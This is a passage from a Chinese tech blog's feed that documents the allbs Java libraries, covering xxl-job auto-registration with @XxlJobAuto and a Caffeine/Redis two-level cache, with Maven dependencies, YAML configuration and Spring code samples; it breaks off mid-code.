    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>xxl-job-core</td><td>2.3.1</td></tr><tr><td>allbs-common</td><td>2.0.0</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-xxl-job<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-xxl-job:2.0.1&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-xxl-job:2.0.1&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="启动xxl-job调度中心">启动xxl-job调度中心</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202109161754571.png" alt=""></p><h3 id="配置需要调度动态定时任务的服务">配置需要调度动态定时任务的服务</h3><p>启动类添加注解<mark class="hl-label red">@EnableXxlJob</mark> 开启动态定时任务</p><h3 id="添加配置或者只添加环境变量，环境-变量如下图">添加配置或者只添加环境变量，环境 变量如下图</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">xxl:</span></span><br><span class="line">  <span class="attr">job:</span></span><br><span class="line">    <span class="attr">admin:</span></span><br><span class="line">      <span class="comment"># 注册中心地址</span></span><br><span class="line">      <span class="attr">address:</span> <span class="string">http://$&#123;XXL_JOB_SERVER_HOST:xxl-job-server-host&#125;:$&#123;XXL_JOB_SERVER_PORT:8080&#125;/$&#123;XXL_JOB_CONTEXT_PATH:xxl-job-admin&#125;/</span></span><br><span class="line">      <span class="comment"># 自动注册时使用的账号</span></span><br><span class="line">      <span class="attr">username:</span> <span class="string">$&#123;XXL_JOB_SERVER_USERNAME:admin&#125;</span></span><br><span class="line">      <span class="comment"># 自动注册时使用的密码</span></span><br><span class="line">      <span class="attr">password:</span> <span class="string">$&#123;XXL_JOB_SERVER_PASSWORD:123456&#125;</span></span><br><span class="line">    <span class="attr">executor:</span></span><br><span class="line">      <span class="comment"># 执行器名称，如果为空则使用项目的application名称</span></span><br><span class="line">      <span class="attr">appname:</span> <span class="string">$&#123;XXL_JOB_EXECUTOR:xxl-job-executor-client&#125;</span></span><br><span class="line">      <span class="comment"># 执行器端口</span></span><br><span class="line">      <span class="attr">port:</span> <span class="string">$&#123;XXL_JOB_CLIENT_PORT:9001&#125;</span></span><br><span class="line">      <span class="comment"># 日志路径</span></span><br><span class="line">      <span class="attr">logpath:</span> <span class="string">$&#123;XXL_JOB_LOG_PATH:/data/applogs/xxl-job/&#125;</span></span><br><span class="line">      <span class="comment"># token</span></span><br><span class="line">      <span class="attr">access-token:</span> <span class="string">$&#123;XXL_JOB_ACCESS_TOKEN:default_token&#125;</span></span><br><span class="line">      <span class="comment"># 是否自动注册 0为自动注册， 1为手动注册</span></span><br><span class="line">      <span class="attr">auto-register:</span> <span class="string">$&#123;XXL_JOB_EXECUTOR_AUTO:0&#125;</span></span><br><span class="line">      <span class="comment"># 手动注册列表</span></span><br><span class="line">      <span class="attr">manual-address-list:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">http://127.0.0.1:9999</span></span><br></pre></td></tr></table></figure><h3 id="yml实际配置示例">yml实际配置示例</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/06/c695759df1fcd5f7be31bf07ae69c12a.png" alt="image-20230619161135967"></p><h3 id="注意点">注意点</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/22e1c5cb3d46a411eb4fd66c169a3448.png" alt="image-20230316163457133"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/a186a1e2e263e5d51673729a701816e8.png" alt="image-20230316162908400"></p><p><em>想要成功注册必须满足以下条件，否则会出现<code>xxl-job registry fail</code></em></p><ul><li>xxl-job调度中心如果设置了content-path,则客户端必须添加该字符串，即xxl.job.admin.address中的内容</li><li>xxl-job rpc接口调用中url拼接默认没有斜杠，所以必须在content-path之后添加斜杠</li><li>如果xxl-job调度中心配置了accessToken则客户端也需要配置</li></ul><p>示例</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/12ba4adc95b2cbebe7a1fcc4613da80b.png" alt="image-20230316163820639"></p><h3 id="添加环境变量">添加环境变量</h3><table><thead><tr><th style="text-align:center">环境变量名称</th><th style="text-align:center">默认值</th><th style="text-align:center">说明</th></tr></thead><tbody><tr><td style="text-align:center"><code>XXL_JOB_SERVER_HOST</code></td><td style="text-align:center">xxl-job-server-host</td><td style="text-align:center">调度中心的ip,如果使用默认则需在hosts中配置对呀的ip</td></tr><tr><td style="text-align:center"><code>XXL_JOB_SERVER_PORT</code></td><td style="text-align:center">8080</td><td style="text-align:center">调度中心ip</td></tr><tr><td style="text-align:center"><code>XXL_JOB_SERVER_USERNAME</code></td><td style="text-align:center">admin</td><td style="text-align:center">自动注册时使用的账号</td></tr><tr><td style="text-align:center"><code>XXL_JOB_SERVER_PASSWORD</code></td><td style="text-align:center">123456</td><td style="text-align:center">自动注册时使用的密码</td></tr><tr><td style="text-align:center"><code>XXL_JOB_CONTEXT_PATH</code></td><td style="text-align:center">xxl-job-admin</td><td style="text-align:center">调度中心content-path</td></tr><tr><td style="text-align:center"><code>XXL_JOB_EXECUTOR</code></td><td style="text-align:center">xxl-job-executor-client</td><td style="text-align:center">执行器名称</td></tr><tr><td style="text-align:center"><code>XXL_JOB_CLIENT_PORT</code></td><td style="text-align:center">9001</td><td style="text-align:center">客户端端口，目前会导致多个客户端端口冲突，后续优化</td></tr><tr><td style="text-align:center"><code>XXL_JOB_LOG_PATH</code></td><td style="text-align:center">/data/applogs/xxl-job/</td><td style="text-align:center">日志保存路径</td></tr><tr><td style="text-align:center"><code>XXL_JOB_ACCESS_TOKEN</code></td><td style="text-align:center">default_token</td><td style="text-align:center">调度中心配置的accessToken</td></tr><tr><td style="text-align:center"><code>XXL_JOB_EXECUTOR_AUTO</code></td><td style="text-align:center">0</td><td style="text-align:center">是否自动注册 0为自动注册， 1为手动注册</td></tr><tr><td style="text-align:center"><code>manual-address-list</code></td><td style="text-align:center"><a href="http://127.0.0.1:9999">http://127.0.0.1:9999</a>,<a href="http://127.0.0.1:8888">http://127.0.0.1:8888</a></td><td style="text-align:center">手动注册列表 以逗号分隔</td></tr></tbody></table><h3 id="普通使用，需要在服务端的管理页面中手动注册和启动">普通使用，需要在服务端的管理页面中手动注册和启动</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DemoJob</span> &#123;</span><br><span class="line">  <span class="comment">// 这个注解中的内容就是jobHandler</span></span><br><span class="line">  <span class="meta">@XxlJob(&quot;demoJobHandler&quot;)</span></span><br><span class="line">  <span class="keyword">public</span> ReturnT&lt;String&gt; <span class="title function_">demoJobHandler</span><span class="params">(String s)</span> &#123;</span><br><span class="line">     XxlJobHelper.log(<span class="string">&quot;This is a demo job.&quot;</span> + XxlJobHelper.getShardIndex());</span><br><span class="line">     <span class="keyword">return</span> SUCCESS;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="手动注册启动">手动注册启动</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/202109161758213.png" alt=""></p><h3 id="自动注册和使用-参考文章">自动注册和使用(参考<a href="https://juejin.cn/post/7216604684035325989">文章</a>)</h3><p>需要自动注册的方法需要添加<code>@XxlJobAuto</code>注解</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.allbs.job.annotation.XxlJobAuto;</span><br><span class="line"><span class="keyword">import</span> com.xxl.job.core.biz.model.ReturnT;</span><br><span class="line"><span class="keyword">import</span> com.xxl.job.core.context.XxlJobHelper;</span><br><span class="line"><span class="keyword">import</span> com.xxl.job.core.handler.annotation.XxlJob;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.TimeUnit;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DemoJob</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 使用cron,不自动启动的情况</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> s</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@XxlJob(&quot;demoJobHandler&quot;)</span></span><br><span class="line">    <span class="meta">@XxlJobAuto(jobDesc = &quot;根据cron指定频率运行, 自动注册后不启动&quot;, cron = &quot;* * 0/1 * * ? &quot;, author = &quot;chenqi&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> ReturnT&lt;String&gt; <span class="title function_">demoJobHandler</span><span class="params">(String s)</span> &#123;</span><br><span class="line">        XxlJobHelper.log(<span class="string">&quot;This is a demo job.&quot;</span> + XxlJobHelper.getShardIndex());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> ReturnT.SUCCESS;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 使用固定频率，注册后自动启动的情况</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> s</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@XxlJob(&quot;demoJobHandlerAuto&quot;)</span></span><br><span class="line">    <span class="meta">@XxlJobAuto(jobDesc = &quot;固定速度测试，注册后自动启动&quot;, author = &quot;chenqi&quot;, scheduleConf = 1, timeUnit = TimeUnit.MINUTES, triggerStatus = 1)</span></span><br><span class="line">    <span class="keyword">public</span> ReturnT&lt;String&gt; <span class="title function_">demoJobHandlerAuto</span><span class="params">(String s)</span> &#123;</span><br><span class="line">        XxlJobHelper.log(<span class="string">&quot;This is a demo job.&quot;</span> + XxlJobHelper.getShardIndex());</span><br><span class="line">        <span class="keyword">return</span> ReturnT.SUCCESS;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 不自动注册，需要手动到管理中心手动注册的情况</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> s</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@XxlJob(&quot;demo&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> ReturnT&lt;String&gt; <span class="title function_">demo</span><span class="params">(String s)</span> &#123;</span><br><span class="line">        XxlJobHelper.log(<span class="string">&quot;This is a demo job.&quot;</span> + XxlJobHelper.getShardIndex());</span><br><span class="line">        <span class="keyword">return</span> ReturnT.SUCCESS;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="注解可配置项">注解可配置项</h3><table><thead><tr><th style="text-align:center">字段名称</th><th style="text-align:center">默认值</th><th style="text-align:center">说明</th></tr></thead><tbody><tr><td style="text-align:center">jobDesc</td><td style="text-align:center"></td><td style="text-align:center">任务描述(必填项)</td></tr><tr><td style="text-align:center">author</td><td style="text-align:center"></td><td style="text-align:center">负责人(必填项)</td></tr><tr><td style="text-align:center">alarmEmail</td><td style="text-align:center"></td><td style="text-align:center">报警邮件，多个以逗号分隔</td></tr><tr><td style="text-align:center">cron</td><td style="text-align:center"></td><td style="text-align:center">cron 表达式(当此项为空时则执行固定频率，如果不为空优先固定频率使用该配置)</td></tr><tr><td style="text-align:center">executorParam</td><td style="text-align:center"></td><td style="text-align:center">执行器任务参数</td></tr><tr><td style="text-align:center">executorFailRetryCount</td><td style="text-align:center">0</td><td style="text-align:center">失败重试次数</td></tr><tr><td style="text-align:center">executorTimeout</td><td style="text-align:center">0</td><td style="text-align:center">执行超时时间</td></tr><tr><td style="text-align:center">misfireStrategy</td><td style="text-align:center">DO_NOTHING</td><td style="text-align:center">调度过期策略(忽略: DO_NOTHING 立即执行一次: FIRE_ONCE_NOW)</td></tr><tr><td style="text-align:center">executorRouteStrategy</td><td style="text-align:center">FIRST</td><td style="text-align:center">执行器路由策略 FIRST:第一个 LAST:最后一个 ROUND:轮询 RANDOM:随机 CONSISTENT_HASH:一致性HASH LEAST_FREQUENTLY_USED:最不经常使用 LEAST_RECENTLY_USED:最近最久未使用 FAILOVER:故障转移 BUSYOVER:忙碌转移 SHARDING_BROADCAST:分片广播</td></tr><tr><td style="text-align:center">triggerStatus</td><td style="text-align:center">0</td><td style="text-align:center">调度状态 0 停止 1运行</td></tr><tr><td style="text-align:center">scheduleConf</td><td style="text-align:center">1</td><td style="text-align:center">固定速度调用时调用值 如果cron为空时使用此配置</td></tr><tr><td style="text-align:center">timeUnit</td><td style="text-align:center">TimeUnit.SECONDS</td><td style="text-align:center">固定速度时调用速度的单位, 默认为秒</td></tr></tbody></table><h3 id="使用效果">使用效果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/06/a849936f9b67906bbbe433387ba4536d.png" alt="image-20230619163952025"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/06/7f57e8c810540a79a6323392cf30005f.png" alt="image-20230619164009097"></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - xxl-job 自动注册并启动</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="定时任务" scheme="https://blog.allbs.cn/tags/%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/"/>
    
    <category term="xxl-job" scheme="https://blog.allbs.cn/tags/xxl-job/"/>
    
    <category term="自动启动" scheme="https://blog.allbs.cn/tags/%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - 二级缓存</title>
    <link href="https://blog.allbs.cn/posts/40041/"/>
    <id>https://blog.allbs.cn/posts/40041/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.4</td></tr><tr><td>spring-boot-starter-data-redis</td><td>2.7.4</td></tr><tr><td>caffeine</td><td>2.9.3</td></tr><tr><td>allbs-common</td><td>1.1.8</td></tr><tr><td>jackson-databind</td><td>2.13.4.2</td></tr><tr><td>micrometer-core</td><td>1.9.4</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-cache<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-cache:1.1.8&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-cache:1.1.8&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="说明">说明</h3><p>集成了一级<mark class="hl-label red">caffeine</mark>和二级<mark class="hl-label default">redisred</mark>缓存联合使用, key序列化方式为<mark class="hl-label blue">StringRedisSerializer</mark> value 序列化方式为<mark class="hl-label blue">GenericJackson2JsonRedisSerializer</mark></p><h3 id="开启二级缓存">开启二级缓存</h3><p>添加注解<mark class="hl-label red">@EnableAllbsCache</mark></p><h3 id="缓存核心配置示例">缓存核心配置示例</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">    <span class="attr">cache:</span></span><br><span class="line">        <span class="attr">multi:</span></span><br><span class="line">          <span class="comment"># 指定需要缓存的key</span></span><br><span class="line">          <span class="attr">cache-names:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">allbs</span></span><br><span class="line">          <span class="comment"># 是否存储空值，默认true，防止缓存穿透</span></span><br><span class="line">          <span class="attr">cache-null-values:</span> <span class="literal">true</span></span><br><span class="line">          <span class="comment"># 是否动态根据cacheName创建Cache的实现，默认true</span></span><br><span class="line">          <span class="attr">dynamic:</span> <span class="literal">true</span></span><br><span class="line">          <span class="comment"># 缓存key的前缀</span></span><br><span class="line">          <span class="attr">cache-prefix:</span> <span class="string">ds</span></span><br><span class="line">          <span class="attr">caffeine:</span></span><br><span class="line">            <span class="comment"># 是否开启caffeine缓存默认为true</span></span><br><span class="line">            <span class="attr">enable:</span> <span class="literal">false</span></span><br><span class="line">            <span class="comment"># 访问后过期时间</span></span><br><span class="line">            <span class="attr">expire-after-access:</span> <span class="string">20m</span></span><br><span class="line">            <span class="comment"># 写入后过期时间</span></span><br><span class="line">            <span class="attr">expire-after-write:</span> <span class="string">20m</span></span><br><span class="line">            <span class="comment"># 写入后刷新时间</span></span><br><span class="line">            <span class="attr">refresh-after-write:</span> <span class="string">20m</span></span><br><span class="line">            <span class="comment"># 初始化大小</span></span><br><span class="line">            <span class="attr">initial-capacity:</span> <span class="number">20</span></span><br><span class="line">            <span class="comment"># 最大缓存对象个数，超过此数量时之前放入的缓存将失效</span></span><br><span class="line">            <span class="attr">maximum-size:</span> <span class="number">100</span></span><br><span class="line">          <span class="attr">redis:</span></span><br><span class="line">            <span class="comment"># 是否开启redis缓存默认为true</span></span><br><span class="line">            <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">            <span class="comment"># 全局过期时间Duration,15s代表过期时间15秒,默认为0不过期</span></span><br><span class="line">            <span class="attr">default-expiration:</span> <span class="string">15s</span></span><br><span class="line">            <span class="comment"># 全局空值过期时间Duration,默认和有值的一致</span></span><br><span class="line">            <span class="attr">default-null-values-expiration:</span> <span class="string">15s</span></span><br><span class="line">            <span class="comment"># 每个cacheName的过期时间，优先级比defaultExpiration高</span></span><br><span class="line">            <span class="attr">expires:</span> &#123;<span class="attr">allbs:</span> <span class="string">15s</span>, <span class="string">testds:60h</span>&#125;</span><br><span class="line">            <span class="comment"># 缓存更新时通知其他节点的topic名称</span></span><br><span class="line">            <span class="attr">topic:</span> <span class="string">cache:redis:caffeine:topic</span></span><br></pre></td></tr></table></figure><h3 id="缓存使用">缓存使用</h3><h4 id="加入缓存">加入缓存</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 添加缓存</span></span><br><span class="line"><span class="meta">@Cacheable(value = CacheConstants.TEST_2, key = &quot;&#x27;test&#x27;&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/test&quot;)</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">test</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// 第二次将直接读取缓存，不会进入该方法</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">randomStr</span> <span class="operator">=</span> RandomUtil.randomString(<span class="number">5</span>);</span><br><span class="line">    redisTemplate.opsForValue().set(CacheConstants.TEST_2_1, randomStr);</span><br><span class="line">    log.info(<span class="string">&quot;返回结果将永远是第一次随机的数据,除非删除redis中的该key&quot;</span> + CacheConstants.TEST_2_1);</span><br><span class="line">    <span class="keyword">return</span> randomStr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="加入缓存，但是每次仍然进入方法内部">加入缓存，但是每次仍然进入方法内部</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 添加注解</span></span><br><span class="line"><span class="meta">@CachePut</span></span><br></pre></td></tr></table></figure><h4 id="移出缓存">移出缓存</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 添加注解</span></span><br><span class="line"><span class="meta">@CacheEvict</span></span><br></pre></td></tr></table></figure><h4 id="一个方法或者类上同时指定多个Spring-Cache相关的注解">一个方法或者类上同时指定多个Spring Cache相关的注解</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Caching</span></span><br></pre></td></tr></table></figure><h3 id="redis配置示例">redis配置示例</h3><blockquote><p>yml中添加如下配置，不用在启动类添加注解@EnableAllbsCache</p></blockquote><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">database:</span> <span class="number">0</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">$&#123;REDIS-HOST:cq-server&#125;</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;REDIS-PWD:111111&#125;</span></span><br><span class="line">    <span class="attr">timeout:</span> <span class="number">5000</span></span><br><span class="line">    <span class="attr">lettuce:</span></span><br><span class="line">      <span class="attr">pool:</span></span><br><span class="line">        <span class="attr">min-idle:</span> <span class="number">2</span></span><br></pre></td></tr></table></figure><h3 id="自定义序列化方式说明">自定义序列化方式说明</h3><div class="note info simple"><p>考虑到项目中实际使用需要使用的序列化方式与缓存不同，所以不再像此前版本定义好redis基础操作的序列化方式，由项目自主决定。同时添加配置可自定义当前项目的缓存的序列化方式。</p></div><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.boot.autoconfigure.AutoConfigureBefore;</span><br><span class="line"><span class="keyword">import</span> org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Bean;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.connection.RedisConnectionFactory;</span><br><span class="line"><span class="keyword">import</span> 